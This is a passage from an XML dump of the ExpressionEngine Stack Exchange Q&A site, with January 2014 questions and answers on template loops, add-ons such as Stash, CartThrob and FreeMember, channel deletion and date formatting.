class=&quot;modal-dialog&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;                    &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;amp;times;&amp;lt;/button&amp;gt;&#xA;                    &amp;lt;p class=&quot;modal-title&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;modal-body next&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;                    &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-very-light pull-left prev&quot;&amp;gt;&#xA;                        &amp;lt;i class=&quot;fa-icon-chevron-left&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                        Previous&#xA;                    &amp;lt;/button&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        {exp:channel:entries channel=&quot;tours&quot;}&#xA;                        {tour_photo_gallery limit=&quot;1&quot;}&#xA;                        &amp;lt;span class=&quot;pinterestBtn&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;//www.pinterest.com/pin/create/button/?url=http%3A%2F%2Fwww.flickr.com%2Fphotos%2Fkentbrew%2F6851755809%2F&amp;amp;media={tour_photo_gallery:photo:large}&amp;amp;description={tour_photo_gallery:caption}&quot; data-pin-do=&quot;buttonPin&quot; data-pin-config=&quot;none&quot; data-pin-height=&quot;28&quot;&amp;gt;&amp;lt;img src=&quot;//assets.pinterest.com/images/pidgets/pinit_fg_en_rect_gray_28.png&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                        {/tour_photo_gallery}&#xA;                        {/exp:channel:entries}&#xA;                        &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-contrast next&quot;&amp;gt;&#xA;                            Next&#xA;                            &amp;lt;i class=&quot;fa-icon-chevron-right text-white&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                        &amp;lt;/button&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.links&lt;/code&gt; holds my photos and opens up the lightbox...that works fine. &lt;code&gt;#blueimp-gallery&lt;/code&gt; is the modal and &lt;code&gt;{tour_photo_gallery}&lt;/code&gt; is a Grid fieldtype.  I set a &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt;, otherwise it loops thru and displays Pinterest links for every image.  However, by doing so, whatever photo I click on to display in the lightbox, the Pinterest link is always referencing the 1st entry in the Grid, instead of the one clicked on.  I sense the second loop has to be paired w/ the initial one, so the Pinterest link knows which photo to reference...but I'm not sure how to do so.  Hopefully I'm explaining this correctly.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="885" LastActivityDate="2014-06-13T22:06:39.900" Title="Pinterest link in modal not referencing correct photo" Tags="|loop|modal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18343" PostTypeId="1" AcceptedAnswerId="18832" CreationDate="2014-01-13T22:15:22.037" Score="0" ViewCount="78" Body="&lt;p&gt;I have Assets set up for Site #1. I've added Site #2, and I would like it, and Site #3, etc., to share the same Assets folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read through the Assets documentation, but cannot find any reference to Multi Site Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to add settings in config.php.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-01-28T17:37:00.660" Title="Using P&amp;T Assets with Multi Site Manager (MSM)" Tags="|assets|file-uploads|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18344" PostTypeId="2" ParentId="18311" CreationDate="2014-01-13T22:28:28.463" Score="0" Body="&lt;p&gt;I'm fairly new to using stash myself. Try putting the stash in its own channel loop, with a limit of one entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare &quot;Basic Example&quot; on this page: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// One entry to stash your info here - and ONLY the stash info. &#xA;{exp:channel:entries channel=&quot;moebel&quot; &#xA;    orderby=&quot;date&quot; &#xA;    sort=&quot;desc&quot; &#xA;    dynamic=&quot;off&quot; &#xA;    disable=&quot;member_data|trackbacks|pagination&quot;&#xA;    limit=&quot;1&quot;&#xA;    }&#xA;    {exp:stash:set name=&quot;myurltitle&quot;}{url_title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;// The primary loop for everything else here&#xA;&#xA;{exp:channel:entries channel=&quot;moebel&quot; &#xA;    orderby=&quot;date&quot; &#xA;    sort=&quot;desc&quot; &#xA;    dynamic=&quot;off&quot; &#xA;    disable=&quot;member_data|trackbacks|pagination&quot;&#xA;    }&#xA;    &amp;lt;a href=&quot;{path=moebel/{url_title}}&quot; {if url_title == '{segment_2}' &#xA;    OR segment_2 == '' AND count == '1'}class=&quot;active&quot;{/if} &amp;gt;{count}&amp;lt;/a&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, your last if check &lt;strong&gt;{if url_title == '{segment_2}' OR segment_2 == '' AND count == '1'}&lt;/strong&gt; could use some parentheses for better operation, e.g. &lt;strong&gt;{if url_title == '{segment_2}' OR (segment_2 == '' AND count == '1')}&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-01-13T22:28:28.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18345" PostTypeId="2" ParentId="18340" CreationDate="2014-01-13T22:40:43.247" Score="2" Body="&lt;p&gt;I wrote something nice about this the other day for someone.&#xA;It can be done in EE without plugins and is pretty straight forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/18229/1872&quot;&gt;https://expressionengine.stackexchange.com/a/18229/1872&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1872" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-13T22:40:43.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18346" PostTypeId="2" ParentId="18339" CreationDate="2014-01-14T00:03:43.897" Score="1" Body="&lt;p&gt;This error suggests that the authentication credentials you provided (in the Settings of the FedEx Shipping extension) are incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is probably to contact FedEx (c.f. &lt;a href=&quot;http://www.fedex.com/us/developer/&quot; rel=&quot;nofollow&quot;&gt;http://www.fedex.com/us/developer/&lt;/a&gt;) to make sure that (a) your account credentials are correct, and (b) your FedEx account is enabled for third-party integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The FedEx Shipping extension won't add FedEx as an option in the shipping dropdown in your Store templates unless it can successfully authenticate with your FedEx account to retrieve a shipping cost.)&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-01-14T00:03:43.897" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18347" PostTypeId="1" CreationDate="2014-01-14T00:27:12.710" Score="1" ViewCount="225" Body="&lt;p&gt;It seems when a customer checks out using Store after having created their account, the state and country drop-downs default to what we've told them to in the Story settings and not pulling from the user's account info. We've mapped those fields to the member fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's a coding thing but I could use some help in figuring this out. What I have now for those drop-downs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;billing_state&quot;&amp;gt;State/Region&amp;lt;/label&amp;gt; &amp;lt;select name=&quot;billing_state&quot; class=&quot;store_select&quot; style=&quot;width:230px;&quot;&amp;gt;{billing_state_options}&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt; &amp;lt;select name=&quot;billing_country&quot; class=&quot;store_select&quot; style=&quot;width:230px;&quot;&amp;gt;{billing_country_options}&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2589" LastActivityDate="2014-01-14T00:27:12.710" Title="Prefilling state and country fields on checkout from users account" Tags="|expresso-store|drop-down|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18348" PostTypeId="2" ParentId="18311" CreationDate="2014-01-14T00:34:23.910" Score="1" Body="&lt;p&gt;One way is to use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;, which is perfect for use with Stash and probably good for opening bottles and cans of Tuna as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;moebel&quot;&#xA;}&#xA;    {exp:switchee variable=&quot;{count}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;1&quot;}&#xA;            {exp:stash:set name=&quot;myurltitle&quot;}{url_title}{/exp:stash:set}&#xA;        {/case}&#xA;    {/exp:switchee}                  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-14T00:34:23.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18349" PostTypeId="1" CreationDate="2014-01-14T01:46:31.047" Score="2" ViewCount="252" Body="&lt;p&gt;I want to delete all data in one channel. And I found that, the best way to delete all entry in channel is delete this channel and re-create it follow this article: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7648/what-is-the-best-way-to-delete-every-entry-in-a-channel&quot;&gt;What is the best way to delete every entry in a channel?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I tried to delete channel follow this article: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_structure.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_structure.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the site_id is 1 and the channel_id of channel I need to delete is 1. But when I tried these code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api'); ee()-&amp;gt;api-&amp;gt;instantiate('channel_structure');&#xA;$channel_id = 1;$site_id = 1;&#xA;ee()-&amp;gt;api_channel_structure-&amp;gt;delete_channel((int) $channel_id, [(int) $site_id]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected T_STRING in /var/www/vhosts/au/admin/expressionengine/libraries/Functions.php(679) : eval()'d code on line 7&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_structure-&amp;gt;delete_channel((int) 1, [(int) 1]);&#xA;ee()-&amp;gt;api_channel_structure-&amp;gt;delete_channel(1, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But got same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody know how to solve this issue. Thank so much!&lt;/p&gt;&#xA;" OwnerUserId="2601" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-01-14T04:34:45.680" Title="Delete every entry in Channel" Tags="|channel|entry|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18350" PostTypeId="2" ParentId="18349" CreationDate="2014-01-14T04:34:45.680" Score="2" Body="&lt;p&gt;If your preferred method to delete all the entries for a given channel is to just delete the channel, then you do not need to use the Channel API. You can just delete the channel in the control panel. Go to &lt;em&gt;Admin &gt; Channels&lt;/em&gt; and click &quot;Delete&quot; next to the channel you want to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead you prefer to do it using the API, then there is an error in your code that needs to be fixed to begin with. The documentation uses square brackets to indicate arguments that are optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_structure.html#delete-channel&quot; rel=&quot;nofollow&quot;&gt;documentation for delete_channel&lt;/a&gt; says...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_structure-&amp;gt;delete_channel((int) $channel_id, [(int) $site_id]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...the second argument for &lt;code&gt;site_id&lt;/code&gt; is optional. If you actually &lt;em&gt;use&lt;/em&gt; that argument you should not include the brackets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_structure-&amp;gt;delete_channel(1, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could even just leave the site_id argument out, since it is optional.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-14T04:34:45.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18351" PostTypeId="1" AcceptedAnswerId="18352" CreationDate="2014-01-14T06:14:35.537" Score="0" ViewCount="59" Body="&lt;p&gt;I ran through the update process with this site a while ago when I upgraded to EE 2.5.5 and finished the EE upgrade no problem, but today I've tried to run the same update again but going to 2.7.3 and it's got as far as 2.7.2 with no problem and then produces this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;{&amp;quot;error&amp;quot;:&amp;quot;&#xA;Error Number: 1146&amp;lt;/p&amp;gt;\n\n&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;Table 'fabric_ee_v2.exp_cartthrob_settings' doesn't exist&amp;lt;/p&amp;gt;\n\n&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;SELECT *\nFROM (&lt;code&gt;exp_cartthrob_settings&lt;/code&gt;)&amp;lt;/p&amp;gt;\n\n&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;Filename: /Users/tyssen/Documents/Tyssen Design/3. Sites 2010-11/Fabric Studio/server/third_party/cartthrob/upd.cartthrob.php&amp;lt;/p&amp;gt;\n\n&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 800&amp;lt;/p&amp;gt;&amp;quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Both CT 2.4 and the updater modules are in place. Last time I did the update I was able to update EE and then update CT later.&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-01-14T06:51:16.857" Title="Error upgrading EE1.x to EE 2.7.3 with Cartthrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18352" PostTypeId="2" ParentId="18351" CreationDate="2014-01-14T06:51:16.857" Score="2" Body="&lt;p&gt;I always rename my &lt;code&gt;system/expressionengine/third_party&lt;/code&gt; directory before running EE updates to avoid potential conflicts like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since around 2.6 the EE updater also invokes add-on updates and can cause a failed update with very little debugging information to go on. Renaming the directory simply prevents any of this from happening and lets EE do what it needs to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember to update your extensions after the EE update by visiting your extensions page, and associated settings, running module updates, and updating any fieldtypes by visiting the fieldtype's global settings pages (if they exist).&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-14T06:51:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18353" PostTypeId="2" ParentId="17844" CreationDate="2014-01-14T07:01:56.080" Score="1" Body="&lt;p&gt;At a quick guess, I'd try the following (backup and do it all on local ideally)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the formatting on those original fields from xhtml to 'none'.&lt;/li&gt;&#xA;&lt;li&gt;On your target install, also set the field formatting from xhtml to 'none'.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;After&lt;/em&gt; your import, update the fields to be xhtml formatted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's not going to help your titles though, titles are put through a typography filter you have no control over. Maybe use the query module to access title data when generating your xml...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-14T07:01:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18354" PostTypeId="1" CreationDate="2014-01-14T07:17:40.757" Score="1" ViewCount="228" Body="&lt;p&gt;We have a channel form setup and it's all working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the form is a matrix field called &quot;job_timings&quot; and we call on it via &lt;code&gt;{field:job_timings}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matrix has two columns - one a text field and the other a date field. The datepicker works fine in the channel form it's just that is displays dates in the format of &lt;code&gt;2014-01-23 4:59 PM&lt;/code&gt; to the end user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case we don't need a time and we need the date formatted as dd-mm-yyyy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to control the format of this matrix date field?&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2014-01-15T07:18:00.530" LastActivityDate="2015-01-06T19:10:51.793" Title="Custom Date Format with Channel Form + Matrix + Date Fieldtype" Tags="|ee2|matrix|safecracker|pixelandtonic|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18355" PostTypeId="2" ParentId="18225" CreationDate="2014-01-14T09:07:38.167" Score="2" Body="&lt;p&gt;I just ran into this. All my grid fields were set as required, so leaving any field empty when saving removed the images. Adding data to all fields (including images) and it saved ok.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-01-14T09:07:38.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18356" PostTypeId="2" ParentId="14723" CreationDate="2014-01-14T10:03:49.460" Score="6" Body="&lt;p&gt;I don't know if you already have a anwser yet. But I had the same problem and I. I want to enable pagination within a Playa loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to do 2 things to enable pagination in a Playa loop.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Override the default disable of “categories|category_fields|member_data|pagination”.&lt;/li&gt;&#xA;&lt;li&gt;Put var_prefix in your Playa tag and pagination tag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You did a good override of the default disables with &lt;code&gt;disable=&quot;categories|category_fields&quot; &lt;/code&gt; but also &lt;code&gt;disable=&quot;&quot;&lt;/code&gt; will work if you want to enable all this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you only have to do a prefix in your loop and your code should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents parent_id=&quot;{low_events:entry_ids}&quot; disable=&quot;categories|category_fields&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot; var_prefix=&quot;your_prefix&quot;}&#xA;  HTML…&#xA;  {your_prefix:paginate}&#xA;    {pagination_links}&#xA;    &amp;lt;ul&amp;gt;&#xA;      {page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;{if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {/pagination_links}&#xA;  {/your_prefix:paginate}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="2602" LastActivityDate="2014-01-14T10:03:49.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18357" PostTypeId="2" ParentId="18335" CreationDate="2014-01-14T11:54:49.557" Score="1" Body="&lt;p&gt;xdebug.scream did start giving output a while later, I presume the WSOD without output was cached or something. It gave me the answer to my question: I hadn't installed php mysql drivers.&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2014-01-14T11:54:49.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18358" PostTypeId="1" AcceptedAnswerId="18359" CreationDate="2014-01-14T14:24:51.970" Score="0" ViewCount="21" Body="&lt;p&gt;My template's &amp;lt;head&amp;gt; tag is defined as a snippet combined with preload replace variables, as per Low's idea (&lt;a href=&quot;http://gotolow.com/blog/snippets-and-preload-replace-variables&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/blog/snippets-and-preload-replace-variables&lt;/a&gt;). On one or two templates, however, this technique won't cut it and I need to use a full embed. That's a shame, but there you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is, I'm finding that if I am logged into the CP as an Admin (a member group I created for the client to use for basic site editing, with much less control than a superadmin), the embed &lt;em&gt;doesn't embed&lt;/em&gt;. So the page has no &amp;lt;head&amp;gt; tag at all, with all of the rather unfortunate consequences that that implies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm racking my brains to think what setting in the member groups settings might be causing this; if I'm logged in as a super admin (or not logged in at all) then the embed is processed normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-01-14T14:32:38.390" Title="Embed not embedding, but only for 1 member group" Tags="|members|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18359" PostTypeId="2" ParentId="18358" CreationDate="2014-01-14T14:32:38.390" Score="1" Body="&lt;p&gt;And as I submitted the question (probably &lt;em&gt;because&lt;/em&gt; of the process of typing it out logically) it dawned on me. The issue wasn't in the member group settings, it was in the access permissions under template management. Admins were not permitted to view that embed template for some reason. Corrected and now all is working.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-01-14T14:32:38.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18360" PostTypeId="1" CreationDate="2014-01-14T15:23:47.990" Score="2" ViewCount="109" Body="&lt;p&gt;I have a number of products which have a minimum quantity set as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;span1&quot; type=&quot;text&quot; name=&quot;item_qty&quot; value=&quot;{min_order_qty}&quot; placeholder=&quot;Quantity&quot;&amp;gt;&#xA;&amp;lt;button class=&quot;btn btn-primary&quot;&amp;gt;&amp;lt;i class=&quot;icon-shopping-cart&quot;&amp;gt;&amp;lt;/i&amp;gt; Add To Cart&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if the client were to change the value to something less than the {min_order_qty} and try adding to cart, it simply posts the form and goes to the value set in my return=&quot;&quot; param without erroring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst it doesn't trigger any kind of error, it also doesn't add the item to the cart, it just seems to fail quietly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have expected it to trigger some kind of error message if I try adding quantity less then the minimum, rather than just failing silently, which is what it's doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone able to offer advice on this?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-01-14T22:05:09.657" Title="Exp:resso Store and Minimum Order Quantity" Tags="|expresso-store|ecommerce|shopping-cart|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18361" PostTypeId="1" CreationDate="2014-01-14T15:35:55.223" Score="0" ViewCount="88" Body="&lt;p&gt;I'm having a lingering FreeMember issue where regardless of what I include in the form it will only update the screen_name and the email address. It will not update the street_address, city, state, or zipcode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freemember 2.3.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:update_profile form_class=&quot;form&quot; return=&quot;member&quot;}&#xA;&#xA;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA; &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA; &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA; {error:email}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA; &amp;lt;label for=&quot;screen_name&quot;&amp;gt;Screen Name&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA; &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;screen_name&quot; value=&quot;{screen_name}&quot; /&amp;gt;&#xA; {error:screen_name}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA; &amp;lt;label for=&quot;street_address&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA; &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;street_address&quot; value=&quot;{street_address}&quot; /&amp;gt;&#xA; {error:street_address}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;form-group col-sm-6&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;city&quot; value=&quot;{city}&quot; /&amp;gt;&#xA;  {error:city}&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;form-group col-sm-4&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;state&quot; value=&quot;{state}&quot; /&amp;gt;&#xA;  {error:state}&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;form-group col-sm-2&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;zipcode&quot;&amp;gt;Zip Code&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  &amp;lt;input class=&quot;form-control&quot; type=&quot;text&quot; name=&quot;zipcode&quot; value=&quot;{zipcode}&quot; /&amp;gt;&#xA;  {error:zipcode}&#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA; &amp;lt;input class=&quot;btn&quot; type=&quot;submit&quot; value=&quot;Update Profile&quot; class=&quot;btn&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:freemember:update_profile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="357" LastActivityDate="2014-01-14T15:35:55.223" Title="FreeMember Update Profile only updating screen_name and email, not any other custom fields" Tags="|custom-fields|freemember|users|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18362" PostTypeId="2" ParentId="18354" CreationDate="2014-01-14T15:56:00.190" Score="2" Body="&lt;p&gt;I believe any &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;date field in EE should have the &lt;code&gt;format&lt;/code&gt; parameter&lt;/a&gt; available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct syntax in this case would be something like &lt;code&gt;{field:job_timings format=&quot;%d-%m-%Y&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-14T15:56:00.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
